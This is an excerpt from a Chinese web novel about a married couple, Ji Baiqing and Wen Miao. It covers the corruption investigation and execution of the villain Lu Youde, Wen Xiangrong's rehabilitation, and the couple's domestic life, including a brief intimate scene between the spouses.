这话说得也没错,只是…… “你好的不学学坏的?” 在人的屁股上拍了拍,“行了,下去,收拾东西。” 温淼摇了摇头,伸出手慢吞吞将人抱住。 “不要,晚上再收拾,还想再抱一会儿。” 季白青觉得自己身上挂了个考拉,她像是一棵有毒的桉树,一时间没忍住笑了一声。 听见她的笑声,温淼抬起头有些奇怪地看了她一眼,不满道:“你笑什么?在笑我吗?” 季白青弯起唇,对她轻轻眨眼,语气里笑意不减:“老婆,我哪敢啊?” 亲亲人的鼻尖,她笑吟吟道:“爱你都来不及,笑你干什么?” 温淼的脸颊微红,有些害羞地埋在她胸口不说话了。 看着女人乌黑的发顶,季白青有些稀奇。 这人真是,都结婚多少年了,听这么几句情话怎么还是这么容易害羞。 想着还有几个数据没有算,她托住人的屁股,将她抱到桌前,将那几个数据算清楚。 温淼也没有多看,将下巴抵在季白青的肩膀上出神,趁着这个机会想着晚上该要收拾点什么东西带到学校去。 一个小时过去,她等的有些昏昏欲睡,阖着眼皮险些睡着,季白青终于收了笔,侧目看着将脸压在自己肩上的女人。 侧过去亲了人一口,季白青将记录数据的本子收好,掂了掂腿上的人,“宝宝,醒醒。” 乌金西坠,往下洒落一片金光,部分星星点点撒落在桌面上。 季白青将窗帘拉上,按开屋里的灯。 温淼被晃了眼,睁开眼睛,揉着眼皮问:“怎么了?” 季白青又在人的脸颊上亲亲:“先下来。” 温淼有些疑惑,但还有些困倦,下意识地听着青年的话照做。 她站在桌前,和季白青面对面,被人噙住红唇温温柔柔地吻了一会儿。 节骨分明的手探进了衣服里,布料摩擦的声音窸窸窣窣响起,随后胸口一松,搭扣被解开。 温淼蹙着眉,还没来得及推拒,就被拢住。 季白青指腹柔软,轻易让她感觉全身都酥麻。 大脑的反应变得有些迟缓,手臂刚抵上季白青的胸口,就被人温温柔柔的声音哄着:“宝宝,转过身好不好?” 话音刚落,温淼的耳垂就被含住,一点湿润的触感漫开。 她被哄得晕头转向,转过身去后双手有些无力,下意识撑住了桌面。 下一秒,呼吸一滞,惊呼声还没吐出,就被季白青从身后抱着捏着下巴接了个吻。 “嘘,”季白青的声音在她的耳边响起,轻声细语,“家里还有人,小声点。” 温淼咬着季白青的一节手指,将那点呜咽声吞下去,身体簌簌地发着抖。 松软的针织衫被往她细白的手指紧紧攥住,露出了一截雪白的脊背,上面漫开浅粉,漂亮又旖旎。 季白青将湿润的手指划过她的脊背,随后低下头虔诚地在上面落下一吻。 将被一碰就发颤的人紧紧抱住,她哄人:“好了,不弄了。” “先休息一会儿。” 给人擦了擦身体,将她放在床上。 温淼强撑着睁开眼皮,有些茫然:“你去哪?” 季白青眉眼间带了几分慵懒,懒洋洋笑道:“做饭。” “今天给陈姐放假了。” 温淼:“……骗子。” 温存过后,两人各自开学,暂时又开启了分居状态。 三月二十号,陆家。 陆有德在书房看着拟定的国家一级英雄模范奖章上面有自己的名字之后,满意地点了点头。 这个奖章温向荣是永远得不到了,毕竟人都已经死了,还是以黑五类的身份死去的,而他有。 手指在自己的名字上摩挲一番,陆有德脸上露出个轻快的笑。 还没等他看够,很快属于他的安静氛围被打破。 “爹,家门口突然来了好多人。” 陆父的声音传来,闻言陆有德的眉宇间带了几分笑。 大概是那些同事来向他道喜的。 他站起了身,将门拉开,一看见陆父脸上唯唯诺诺的神情就有些糟心。 他呵斥道:“客人来了你也不知道招呼人进来坐。” 说着,他走到了门口。 在看到了门口陌生的人后,陆有德一怔。 下一秒,在最前面的女人举起了手上的传召文件,一板一眼道: “陆有德同志,你涉及贪污受贿、迫害其她革命同志、*扰乱军队内纪律,请跟我们去中央纪委处走一趟。” 【作者有话说】 今天来点潮的,厚乳小猫 俺们种田文的睡觉姿势都是规规矩矩的()[狗头] 感谢投雷营养液,感谢评论订阅收藏 127 第127章 ◎向好◎ 这话一出,陆有德在原地愣了一秒。 他维持体面一笑:“同志,你们是不是弄错了?应该是误会吧,你说的事我从来都没有做过。” 陆父站在他身后也一脸难以置信的表情,他着急帮忙解释道:“对啊,我爹他一辈子都老老实实的,每天过得也节俭,怎么可能像你们所说的那样贪污受贿!” 带头的女同志脸上神色不变,将刚才的说辞重复一遍后道:“请陆有德同志你配合我们的工作,和我们一起去中央纪委处走一趟,不然只能采取强制手段了。我们有专人调查,无论最后的结果如何,都会保证公平公正,并不会有失偏颇。” 陆有德闻言,眸光微沉。 他伸出手,将还想要继续开口求情的陆父拦下。 沉声道:“行了,我相信这些同志会还我一片清白的,你在家等着,不用太担心。” 陆有德一眼扫过了书房门口,顿了顿,随后道:“书房还有些资料没整理好,你帮我一起整理了,我待会儿回来处理。” 陆父下意识点头,张嘴还想要多问点什么。 见他这副蠢货的模样,陆有德的眉头不自觉皱了皱,最后还是忍住了没有骂出口,和公职人员一起上了车,往中央纪委处去。 到了中央纪委处后,陆有德立即被带到了谈话室。 谈话室大概二十多平米,摆了张长桌,面对面放了三张椅子。 陆有德按照办案人员的要求,在单独的椅子上坐下。 没多久,谈话室的门被打开,中央纪委处的主任赵峥和协同的记录人员走了进来。 赵峥见到陆有德后对他微微一笑,“陆首长,好久不见。” 她抽开凳子,和记录人员一起坐下,便让办案人先出去,屋子里还另外多了个安保人员,防止陆有德突然暴动。 在看清赵峥的脸后,陆有德的心一沉。 他没有想到今天竟然会是这个女人来和自己谈话,心里的不祥预感越发浓厚。 这个女人是出了名的笑面虎,工作一丝不苟,不容许出现丝毫错误,什么东西都要问清楚,更重要的是,她是从温向荣手下出去的。 虽然两人偶尔的见面一直都维持着表面和谐,但陆有德知道她对自己并没什么好感。 他拧着眉头,此时只能够寄希望于陆父,希望他能够听懂他出门前的暗示,找到书房里的暗藏的玄机,将东西运走。 赵峥笑容浅淡地同他对视,温声道:“陆有德同志,今天把你叫过来是因为有人举报你贪污受贿、扰乱军纪还迫害其她革命同志,为了证实举报内容的真实性,我们才上门找了你,把你带来好好聊聊。” 陆有德闻言嗤笑一声,立马反驳:“你们说得都是无稽之谈,我这一辈子都在为人民军队卖命,哪里有时间去干其它的?至于贪污受贿,我家老头子本就给我留下来一大批合法的遗产,我怎么还可能利用职务之便去干那些事,扰乱军纪和迫害革命同志更是空口胡说!” 他拍了拍桌子,一双阴鸷的眼盯着赵峥,颇为不服气。 赵峥被他用气势十足的眼神盯着,面色仍旧维持不变。 她微微一笑,将复印了一份的证据之一找了出来,拿给陆有德看。 “陆同志,这是举报的人交上来的资料,你可以先看看,上面是不是你和别人信件来往的证据。” 听了这话之后,陆有德的呼吸瞬间乱了半拍,他接过了赵峥递过来的复印文件,看到了上面的内容之后,心里沉了几分。 这些信件确实是他保存的不错,但却是他为了防止那些通过他上升的人脉反咬一口而存留下的准备威胁他们的存证,但陆有德怎么也不会想到,这居然会成为指控自己受贿的证据。 所以,到底是谁将这些信件找了出来? 他将东西藏得那么隐蔽,还在箱子里加了个锁,竟然也被翻找出来了。 罪魁祸首不能是个蠢货。 陆母、陆父……怀疑的人最后落在了陆霁身上。 他在心里冷笑一声,真是养了一条不会知恩图报还反咬一口的毒蛇,以前没有看出来她有这么大的胆子。 陆有德内心的百转千回却丝毫没有在面上表现出来,平淡地看完信件之后他道:“这不是我写的信,我自己都不知道什么时候和别人写过这些信。” “赵同志,你们这不能屈打成招吧?我先声明一句啊,没有做过的事我绝对不会承认,我们军人的意志比钢铁都要坚硬。” 赵峥笑盈盈地点头:“陆同志,你就放心吧,我们现在屋子里一共有四个人,不是我们两个人面对面的单独谈话就是为了保证公平。” 说完这句话后,她笑着丢下了一个炸弹:“不过这些字迹我们在查询的过程之中都对比了一遍,你所写的内容确实和你平时的字迹一样,没有一点模仿的痕迹,而且和你谈话的对象也通过字迹对比找出来了一部分,经过调查审讯后,他们都承认了是因为给你送礼行贿最后才升了职。” “陆同志,这一点你怎么解释呢?” 陆有德听完之后,脸上的平静彻底维持不住,变得难看起来。 他拍着桌子,怒道:“你们现在不就是一意孤行认为就是我有问题吗?那现在还假惺惺地和我谈什么!” “老子身上那么多伤,全都是在战场上打出来的,年轻时在外为国家打拼,现在倒好,被你们这么对待!” 赵峥没有被他突然暴怒的语气吓到,面上的神情依旧。 她一双沉静的眸子看着陆有德,似乎是能够将他内心的污秽全都照出来。 “陆同志,我们并不是一意孤行,一切都是查明证据才敢说出来的,证据全都记录在档案里,并不是信口胡诌,如果你不配合我们谈话的话,那很遗憾我们的谈话今天就只能到这了,但如果你愿意早点将自己的错误说出来,那最后的结果出来是会因为你主动认罚给你酌情减免的。” 看着赵峥脸上清清淡淡丝毫不受他影响的笑,陆有德暗道晦气,今天碰上了这么个笑面虎。 但他也知道,赵峥那一番话不过是为了暗示他早些承认自己的错而已,他真承认了,那才是傻子。 实际上真要证明他受贿的话,还得搜到赃物才行。 他现在只能寄希望于陆父,希望他别让他失望。 陆有德拒不配合,赵峥最后例行公事又问了几句话后就带着记录员离开了。 门被关上没有多久,赵峥带着搜查组组长再度回到谈话室。 她对陆有德道:“陆有德同志,现在按照程序去你家对证据进行搜查,麻烦陪同走一趟。” 话音刚落,很快涌入几个办案人员走到陆有德身后,将他扶出门外。 陆有德将束缚着自己手的人甩开,自己跟在赵峥她们身后往车里走。 谈话花了几个小时的时间,回到陆家的时候已经接近傍晚了。 跨进大门后,在院子里见到陆霁的第一眼,陆有德的心脏狂跳,立马知道了不对劲。 再一看,她的脚边是被五花大绑放倒的陆母陆父还有陆延沈念念四人。 陆有德瞪大眼睛,此刻彻底失了淡定,目眦欲裂:“你这个贱人!你回来干什么!” 陆父的嘴里还被塞了纱布,见到了陆有德回来之后,眼睛等大,身体剧烈挣扎。 “唔唔唔!” 陆有德中午刚被带走,陆父慌乱地进了房间到处翻找,却没有找到陆有德真的交给他需要处理的东西。 正要继续查第二遍的时候,他听见了院子里的谩骂声音,再一出去的时候恰巧撞见了李从瑾拿着麻绳将陆延捆得严严实实,地上还躺着被同样的手法绑起来的沈念念和陆母。 见到了他出来后,李从瑾利落将最后的结打上,和陆霁一起合力将陆父捆上,无论怎么求饶都没有被放过。 最后四个人在地上躺了几个小时。 此时,见着陆有德回来了,李从瑾站在陆霁身边,蹲下身笑眯眯地拍了拍陆父的肩膀,将他嘴里的纱布取了出来:“不好意思啊叔,刚才为了防止你们妨碍调查,我们这才出此下策把你们绑起来,不是有意的哈。” “刚好现在中央纪委的同志来了,我现在就帮你们解开。” 她将几个人身上的绳索解开后,四个人看到屋子里十几个准备搜查的人都不敢作声,站在原地跟鹌鹑似的。 陆霁将陆有德仇视的眼神忽视,对赵峥道:“同志,我知道陆有德的赃物都在哪,跟我来一趟吧。” 陆有德听了这话,举起手来就想要冲上前去打陆霁。 按着他的检查人员一时间被他挣脱,眼见着一巴掌要下来。 “啪”的一声响,李从瑾的眼神微冷,将人的手甩开,随后反手一巴掌打在了陆有德脸上,没有收着任何力气,白皙的手心都打得发红。 上次陆霁被陆有德打的伤她还记在心里,现在可算是找到了报仇的机会。 陆霁被她护在单薄的怀里,敛着眼,轻轻攥紧了李从瑾的衣服。 赵峥对此睁一只眼闭一只眼,对无措的几人道:“快把陆同志先按住。” 陆有德被几个人联手按住之后,赵峥对陆霁道:“同志,你说的赃物在哪?现在带我们去看看可以吗?” 陆霁颔首,道:“你们跟我过来吧。” 她将书房的门推开,从上次找到的不平墙面中将两块砖头取了出来。 见状,赵峥对着搜查的工作人员招了招手,搜查人员将其中的东西往外掏。 搜查人员花了十几分钟将里面的东西拿出来,箱子里摆满了金色银色的赃物,一眼看过去就不少,随后有个人往内侧一摸,意识到了不对劲之后将内侧那层敲起来有些空的墙砸开,里面码满了小黄鱼和大团结,还有各种贵重的物品。 就连陆霁也有些诧异,原本以为陆有德贪得已经够多了,没想到居然还有那么多。 赵峥的神色严肃起来,让人将赃物搬到车上去,对陆霁道:“同志,今天真是多谢你了,给我们减少了工作量。” 即便是如此,其它该搜查的地方还是应该搜一番。 工作人员继续展开搜查,陆霁和赵峥走出书房,回到院子里。 看着一脸颓败,仿佛一下老了十岁的陆有德,陆霁扯了扯唇。 他也有这天。 陆霁从李从瑾兜里掏出来一份报纸,面上多了几分笑,看着陆有德娓娓道:“爷爷,做错了事就要接受改造,别担心,陆家我会接管好的,交给我你就放心吧。” 陆有德闻言,猛地抬起头,恶狠狠地瞪着她,仿佛是想要从她身上咬下来一块肉一般。 他道:“你给我滚!你算是什么东西!贱人!我们陆家没有你这种狼心狗肺的人!” 陆霁不在乎他这些恶毒的言语,只是道:“反正你要进监狱了,哦——没准还会吃枪子儿,您哪管得到这么多?” 她笑盈盈道:“对了,给您宣布一个好消息,您听了肯定会高兴的。” “温向荣平反了,而且——她没死。” 陆霁将报纸展开,出现在陆有德面前的便是占了一个报纸版面的温向荣平反的报道。 上午刚出的消息,下午这一期报纸就印刷出来了。 看到上面印着的温向荣意气风发的照片,陆有德喘着粗气,喃喃:“这怎么可能!温向荣不是死了吗?” “你别想骗我,温向荣早就死了!陆延,你说!” 陆有德被人控制,挣脱不得,最后只能够扭头看向陆延,想要得到一个肯定的答案。 在这个时候,他甚至觉得他入不入狱都没有关系了,只要温向荣死了就好。 凭什么他现在锒铛入狱,最后明明已经宣布了死讯的温向荣却还能够平反,恢复以前的职位和荣誉! 陆延对上了陆有德浑浊的眸子,一时间有些心虚,但是随后一想,反正这个人已经被抓起来了,打不到他。 陆延在心里暗自给自己鼓气,将头偏了过去,不再看他,用沉默当做回答。 见状,陆有德的心彻底灰暗下来。 他贪污受贿给人行方便的事被发现,而他一向憎恶的温向荣现在却能够荣誉加身。 这比让他死都还要难受。 陆有德闭了闭眼,努力维持面上最后的体面。 他道:“我不信,温向荣已经死了。” 温向荣死了,不可能平反,就算是平反,不过也是死人一个了,拿什么和他一个活人争。 这话刚落下,另一道威严的女声就从他身后传出:“陆有德,这么多年了,你还是一点都没变,你以为你捂着耳朵不听就能够当做什么都没发生吗?” “不过是掩耳盗铃罢了!” 赵峥见到了来人之后眼睛一亮,连忙上前和温向荣握手,眼中水光微漾。 扶着她的季白青和温淼见状,将她放开,让两人说话。 赵峥道:“老师,您来了。” 温向荣淡淡点头,被她扶着走到了陆有德身前。 看着陆有德肿胀的脸,她定定地盯着他,沉声道:“我以前只是觉得你心思有些偏,却没想到你还喜欢搞这些歪门邪道。” “陆有德,你现在的后果都是你自己造成的,你应该的。” 对上陆有德充满怒火的声音,她淡淡问:“二十多年前,张旭的死是不是你故意拉他垫背?” 她以前一直都想不通一向最惜命、枪法标准的张旭明明才跟她说过很快就回来了,最后传回来的却是他的死讯,她连他的尸体都没看到。 而作为和张旭并肩作战的战友,陆有德的说法是张旭为了保护他死的,当时她没有往阴谋论的方向想,而现如今一看,或许当年的事是有什么其它的可能。 看着温向荣平淡无波的脸,陆有德恨死她脸上的平静了,他近乎癫狂地笑了一声。 “哈哈哈哈哈,是又怎么样!反正他已经死了,你想他的话怎么不早点死,好快下去陪他!” 他此时全身的理智已经不剩下多少,反正已经少不了牢狱之灾,他将几十年前的真相说出来,想要看到温向荣脸上的平静被破坏,露出痛苦的表情。 “你现在空有这么多好听的名头又怎么样?还不是寡妇一个。温向荣,你知道我拉着张旭给我挡枪,他死的时候跟我说什么吗?他说,以后不能再见到你了,哈哈哈哈哈!” “我害死了他又怎么样,还是不是顺风顺水活到了现在。” 温向荣面无表情地看着他,侧过头去对赵峥道:“刚才他承认的话都记住了没?在场这么多人,陆有德迫害革命同志的消息也证实了,罪加一等。” 赵峥点头,看着陆有德的眼神里多了几分厌恶。 没想到这人几十年前就这么有心计和手段,这么多年了,真是撒谎眼睛都不眨一下。 还是个忘恩负义的坏种。 季白青听了他发疯似的一番话之后,有些担心地看了眼温向荣,没从她脸上看出来什么情绪。 不过现在这样正好,不让陆有德得逞才对,不然让他看到了温向荣难过只会更加得意。 季白青揉了揉温淼的手让她放松,突然出言道:“对了,陆老爷子,你放心,你死了之后,陆霁姐会继承陆家的,你不用担心陆家后继无人了,不过记得让陆延在你死之后多给你烧点纸钱,毕竟陆霁姐肯定不会给你烧。” 陆有德不是不让女人当陆家实际上的继承人么,但她偏要告诉陆有德,陆霁就是要当。不仅如此…… “对了,陆霁姐的基因确实好,但是她喜欢女人,也没法给你们陆家生个继承人了,陆延的基因这么劣质,生下来也不是什么有出息的,你就等着陆家断子绝孙吧。” 陆有德看着陆霁,色厉内荏地喊:“你敢!” 李从瑾的手懒洋洋搭在陆霁的肩膀上,“你个老不死的叽里咕噜什么呢,我劝你还是多省下几口气好好享受剩下的日子吧。” 季白青顺势疑惑地问赵峥:“主任,他这种情况,是不是得吃花生米?” 赵峥沉凝着一张脸点头。 季白青对上陆有德阴鸷的眼神眉眼弯弯地一笑。 “你放心,你死的时候的疼和爷爷死的时候一样~没准会更疼,毕竟不能一枪毙命的话,还得多一枪,你还得等着子弹落下来,等待的过程应该也很煎熬吧?” 见陆有德的眼里多了几分恐惧,她笑盈盈地轻语:“没关系的死老头,我和奶奶还有陆霁姐都会去亲眼看你行刑的。” “不仅如此,你昔日的同事、朋友、对手都会去看热闹,你不用害怕孤单,毕竟到时候你就是个别人眼里彻头彻尾的——笑、话。” 说完之后,她拍了拍手,李从瑾配合,干脆利落地将纱布塞到了陆有德的嘴里,堵住了他即将说出口的谩骂。 世界清净下来了。 再过了十几分钟,搜查人员将搜到的不合规的东西都带了出来,对赵峥报告:“主任,大概就是这些东西。” 赵峥点了点头,看向温向荣:“那老师,我现在先带着陆有德去看守所,下次有时间再去拜访您。” 她声音低了几分:“老师,恭喜您平反,但还请节哀。” 温向荣微微颔首,“你有事就先去忙吧。” 等到陆有德被带着离开之后,一整个偌大的院子忽然间空荡下来。 陆母和陆父此时都怔怔地看着门外,家里的主心骨现在被带走了,她们有些不知道该怎么办。 还是陆延最先反应过来,在陆有德被带走的一瞬间,他的心也空落落一瞬,但是很快反应过来,家里唯一一个压迫他的人离开了,他应该高兴才对。 以后陆家就是他的天下。 想到刚才所听到的话,他瞪着陆霁:“刚才你们说的话什么意思,我才是陆家的继承人,以后的家产都是我的!你们想都别想。” 闻言,李从瑾笑出了声。 她语气疑惑:“交给你这种傻缺,你妈爸放心吗?” “别全给你败光了。” 和财产有关,沈念念在一边立马呛声:“陆延哥才是陆家的唯一男丁,陆家不给男丁继承给谁?你一个女人还这么贪心干什么。” 陆霁懒得和她们继续说下去,拉住要回怼的李从瑾:“好了,别管她们。” 陆母和陆父沉默地看着兄妹两个人争吵,最后和陆霁对上了视线。 陆霁看着她们道:“妈,爸,你们是怎么想的?也是坚持要让陆延那个蠢货继承家产吗?” 陆父不敢看女儿深邃的眼睛,回避她的视线,嘴唇嗫嚅一番,从嗓子眼里挤出来一句话。 “可你爷爷……你爷爷都说了,不能让女人当陆家家主。” 季白青在一边看着别人家的家事看得津津有味,闻言也插了一句话:“那个死老头的话根本就不准,能干出那么多蠢事的人,早就老糊涂了,做出的事情能对到哪去。” “而且他都要死了,听他的话能有什么用,你也想去吃花生米?” 闻言,陆父的脸色果然一白。 季白青早就看出来这是一个软弱的,嘴上的话一激,果然如此。 陆霁早就对她们不再抱什么希望,只是道:“我不是询问你们的意见,只是通知你们,就算你们不同意,我也会不择手段地把继承权抢过来。” “不过到时候你们可就指望着陆延那个蠢货给你们养老吧。” 陆母犹豫地看了面色铁青,青筋暴起的陆延一样,拉着陆父小声道:“老陆……女儿说的确实没错。” 陆父一脸颓然,摆了摆手:“你想要就要吧。” 陆延一脸不可置信地看向陆父:“爸,你这是什么意思!陆家给她了,那我呢!” 站在陆延身边的沈念念脸上的神色一样激动,她嫁给陆延是为了享受荣华富贵的,当下听见这种噩耗,面色瞬间苍白了下来。 陆父没有说话,只是整个人像是被抽干了精气,垂头丧气地回到了房间,将家里的存钱的存折和保险箱里的东西都给了陆霁。 将密码告诉她后,陆父道:“这些都是你太爷爷挣下来的,都给你了,以后你就回来住吧。” 这话一出,陆霁的腰上立马环上了一只手臂。 陆霁瞥了人一眼,拒绝:“不了,我每个月回来看看你们就行。” 说着,她拿上东西准备走。 正在一边看热闹的季白青和温淼这才带着温向荣准备离开。 回到了家后,温向荣一言不发地回了房间。 虽然她表面上看起来没什么波动,但是温淼曾经听温知意说过她和张旭妻夫二人的感情还不错,多少还是会难过的。 两人给温向荣独处时间,只是默默去准备待会儿该吃的晚饭。 过了一个礼拜,陆有德的事情彻底被调查出来,接连牵扯出来不少军政的蠹虫。 陆有德最后也被判了死刑,在三天后在刑场行刑。 行刑前一天,温向荣只身一人去监狱看他。 温向荣身上穿着板正的军装,胸口别着好几个鲜红显眼的奖章。 派出所所长是她曾经手下的兵,所以她获得了和陆有德面谈的机会。 看着里面瘦了一圈,能看得见脸上的颧骨,显得有些不人不鬼的陆有德,温向荣走过去,在他的身前站直。 陆有德看着她,眼神麻木,视线落在她胸口的一圈奖章上,最后却发现了一枚最新的奖章。 上面写着“国家一级英雄模范”的红字,这显然是他被人带去中央纪委处谈话时所看的名单所获得的奖项。 原本因为这些天在监狱里过的日子已经让他彻底没有了盼头,但是看到了温向荣胸口的奖章之后,他眼里瞬间迸发出憎恨的光芒。 他厉声道:“温向荣,你抢了我的东西,你不得好死!” 他的手上还带着手铐,却试图靠近温向荣,想要将她胸口的奖章扯下来。 动作之间,手铐所连接着的限制人身自由的铁链被牵扯,发出哗啦啦的声音。 听到了声音后,狱警在门口紧张询问道:“温首长,需要我帮你把他制服吗?” 温向荣摇了摇头,将凳子拖着往后挪了几步。 她定定地看着陆有德,沉声道:“不得好死的人是你才对,明天你就要行刑了,被所有人看着,也就你能丢这种脸。” “陆有德,你这一生坏事做尽,现在的结果都是还在你身上的报应。” “你活该的。” 说完,她拍了拍身上的尘土,毫不犹豫地往外走。 人离开后,狱警进去,还听见陆有德低着头在喃喃:“我没错,我没做错!” 第二天,陆有德执行死刑。 在执行死刑之前,赵峥对他所做下的错事进行宣判:“罪犯陆有德,身为革命军人,本应恪守军人职责,忠诚于党和人民。然而,其在服役期间犯下严重罪行: 因个人私怨杀害战友,手段残忍,影响恶劣;利用职务便利,多次收受他人财物,严重破坏军队纪律;为掩盖罪行,捏造事实,诬告革命同志,造成严重后果。 上述罪行证据确凿,被告人供认不讳。 责令判处死刑,立即执行,并开除军籍,剥夺政治权利终身。” 周围围着一群人正在看,也就只有陆母和陆父在一边直掉眼泪,陆霁和李从瑾一脸冷漠地站在人群中,而其她人听见了这话都是直接拍手叫好。 不少人还拿了家里的臭鸡蛋、白菜叶子往陆有德身上扔。 “就这种人还是首长呢,原来是个烂人!” “这种人就不应该活在世界上,快点去死!” “原来以前看起来那么平易近人都是装的,去死!去死!” 陆有德的身上一片狼藉,散发着臭烘烘的气味,与以前意气风发的样子截然不同。 在众人的嫌恶眼神下,他被按押着带到刑场中央。 围观人群被劝到了安全范围之内,所有事宜都已经准备好,最后“砰”的一声,子弹毫无预兆地穿过陆有德的脑门,他直愣愣地倒在地上,在众人唾骂中死去。 陆有德行刑,季白青和温淼自然也来看了。 早在要扣动扳机的时候,季白青怕温淼留下心里阴影,提前捂住了她的眼睛。 等到法医确认人已经死透之后,她揽着温淼往外走。 回到了家中之后,两个人不约而同地松了一口气。 陆有德死了。 她们这么久的努力都没有白做。 季白青看着温淼,轻轻地将人抱住。 这一辈子,她成功地避开了第一世中对温淼的所有祸事。 两人的未来是光明的,一切都在向好。 【作者有话说】 本文完结了(bushi 不是真完结,还有一部分的剧情[求求你了] 其实停在这里也挺好,但是还有一点事业要搞~,慢慢收尾中 感谢投雷营养液,感谢评论订阅收藏[亲亲] 128 第128章 ◎我才不乖◎ 温淼被她突然抱在怀里,一时间还有些茫然。 她眨了眨眼,轻声问:“怎么了?” 两人现在还在院子里,温淼有些怕被人看到,但还没等她将人推开,厨房的门突然被打开,陈晴看着两人,手上端着的一盆水倒也不是、不倒也不是。 陈晴看着在院子里相拥的小妻妻二人一眼立马低下了头,只在心里感叹她们俩的感情可真好。 亲昵行为被别人看见,温淼始终觉得有些不自在,睫毛垂下,不好意思再看陈晴,推着季白青的肩膀小声道: “被陈姐看到了,你快放开。” 季白青啧了一声,将人放开,手顺势搭上了人的肩膀,看着陈晴,语气带了点儿笑,和她打商量: “陈姐,你就当刚才什么都没看到行不?淼淼害羞。” 话音刚落,腰间的软肉就被女人拧了一下,不过对方没舍得用劲,软绵绵的挠痒痒似的。 季白青本就是故意逗她,此时更是有点想笑。 陈晴闻言忙不迭地点头,讷讷道:“淼淼,你放心吧,我什么都没看到!” 说着,她将盆里的水往外一倒,回到厨房里,还顺带将门拢上。 这跟此地无银三百两有什么区别,温淼瞪着季白青,埋怨:“你这人怎么这么烦?都讨厌死了。” 季白青无辜地看着她,疑惑道:“不是你跟我说被陈姐看到了吗?我刚才那么说不都是为了你。” 温淼轻轻哼了一声,睨了她一眼,哪还能不懂她:“你就是在使坏。” 青年见她红唇张张合合还要教训自己,干脆一下凑过去,将人的嘴堵住。 漂亮女人的唇是软的,还带着只有她能够感受到的甜。 她唯独嗜好这一处的甜。 季白青吮着温淼的唇,估摸着陈晴一时半会应该也不会再出来,便没有收敛动作,在对方的唇面上辗转,舌尖勾缠间带出一点暧昧的水渍声。 只是没过多久,忽而听到了门嘎吱的动静,季白青的微微睁开了眼,一下和再次开了门的陈晴对上了视线。 她下意识地放开怀里的人,将她往自己的怀里按。 陈晴手上拎着芹菜,有些无措地解释:“我……我还以为你们已经回屋里了,所以想要出来摘个芹菜叶子。” 没想到原本以为回了屋里的妻妻俩居然还在院子里,而且,还是在接吻…… 陈晴的眼神飘忽,一时间都不知道该往哪看,也生怕两个人误会。 季白青见她像是想要找个地缝往里钻,只能暂时性先将自己生出的不好意思往心里按,安慰她:“没事陈姐,你忙着,我们现在就回屋。” 在陈晴的注视之下,季白青带着温淼回屋。 到了屋子里,她才将温淼放开。 温淼抬起一张被闷得有些发红的脸,看着季白青瓷白的脸上也晕开一两分赧意,颇有几分大仇得报的感觉。 她哼哼两声,“刚才还调侃我,现在风水轮流转,到你不好意思了吧。” 刚才温淼被季白青护着,没有和陈晴对视,此时心里倒是也没有多少尴尬。 季白青在别人注视下比较自在的行为也就仅限于搂搂抱抱拉个手,被陌生人撞到接吻倒是还可以厚着脸皮当做没被发现,毕竟以后不会再遇见。 可陈晴是住家阿姨,经常和她们碰面的,被她看到,季白青还真的难得有几分不自在。 她脸颊微红,面无表情地看了温淼一会儿,最后被她琥珀色眼瞳中晕开的浅淡笑意传染,没能继续板住脸。 她懊恼地将脸靠在温淼的胸前,心想,果然在面对喜欢的人的时候永远都不会板着脸,只有生气的时候除外。 青年的声音清泠泠的,因为在她胸口贴着,有些闷。 “坏老婆,嘲笑我。” “刚才是谁让你避免了尴尬?” 温淼才不听,“谁让你刚才要逗我。” 将人从胸前推开,温淼把换季带回来的衣服放回柜子里。 四月份,现在的天气渐暖,很多衣服都穿不了,得换一些轻薄的带回学校才行。 其实今天季白青和温淼都有课,但是为了去看陆有德行刑,两人都随便找了个理由找老师请了假。 她们很少请假,加上成绩都是专业的第一,看起来乖的不得了,带班主任给假的时候没有一丝怀疑,都是笑眯眯的。 但她们也就请了一天假,明天一大早就要回去,温淼虽然不用赶回去上每天专业固定的早读课,但明天还有一节早八的专业课。 季白青明天虽然只有一节课,但是今天实验室那边也请了假,落下的实验数据还得明天回去上手算一遍。 两人这两个月里为数不多的几次见面都是为了去看陆有德的热闹,估摸着之后又开始忙碌起来,便又会很长时间不见了。 就连温向荣回来她们都没有当天去见,归根结底还是因为太忙了。 所以每次的*见面机会两个人都很珍惜。 见温淼不再理自己,季白青郁闷一会儿后,又磨磨蹭蹭过去,将自己和她的四五月份穿的衣服找了出来,放进各自的手提箱中。 将需要的东西收拾好之后,饭菜香也隐隐飘进了屋子里。 陈晴招呼她们道:“淼淼,白青,出来吃饭了!” 她到底还是在想着刚才的事情,怕两个人不自在,自己夹了菜回到房间里吃,留给妻妻两个相处空间。 但不得不说,在到了堂屋的时候,看到陈晴不在,妻妻俩还真的都各自松了一口气。 今天陈晴将两个人喜欢吃的菜各自做了一个,桌上摆着可乐鸡翅、西红柿炒鸡蛋和爆炒猪肚三个菜。 她的手艺很好,做什么都好吃,温淼和季白青都很喜欢。 学校里的伙食比不上家里,两个人吃得滚瓜肚圆,温淼去洗了个碗,回来的时候被季白青圈住手腕扯到她身边坐下。 在人雪白的侧脸上亲了一口,她怕又被陈晴撞上,往后看了眼门,见关得好好的这才放下心。 现在正是四月份,今天的天气不错,太阳将有些阴冷的屋子晒得暖烘烘的,现在门被关上,空气流通性不强,但好在不是炎夏,并不显得温热,温度刚好。 季白青缠着人抱了一会儿,忽然想起来在柜子深处存放的东西。 上周回来的时候她刚洗过。 她凑近温淼,附在她耳边同她咬耳朵。 窸窸窣窣一番将话说完,季白青道:“怎么样?” 雪白的耳垂慢慢泛上了红意,温淼都快烦死了,去年的事,季白青今年都还记在心里。 她愤愤道:“不怎么样!” 她才不想要让季白青如愿。 季白青听到这个回答也不生气,笑盈盈看了她一眼,“那好吧,走,出门散步。” 她将温淼拽了起来,两个人在家周围走了走。 散步的途中,温淼显得有些心不在焉的,还在想着刚才季白青同她商量的事。 季白青将快要越走越远的人扯回来,好笑道:“你这是要徒步走回你学校去?” 温淼这才回过神来,她又瞪了季白青一眼:“都怪你!” 如果不是季白青跟她说那些话的话,温淼现在根本就不会想这么多。 季白青的眼尾垂下,用那双杏眼盯着她,显得有些无辜。 她道:“怎么又怪我了?真是冤枉啊。” 温淼牵着她的手,又不做声了,闷头往家走。 到家之后,洗澡的热水已经烧好了,季白青决定给她一点犹豫的时间,自己收拾了衣服准备去洗澡。 当着温淼的面,她将那两片布料大喇喇地取出来,放在了最上面。 温淼脸颊泛着粉,炸了毛:““你快把它藏起来!” 待会儿要是又被陈晴看到了该怎么办! 见季白青不为所动,温淼扑过去,将两件轻薄的内衣埋在正经衣服里面,这才微微放下了心。 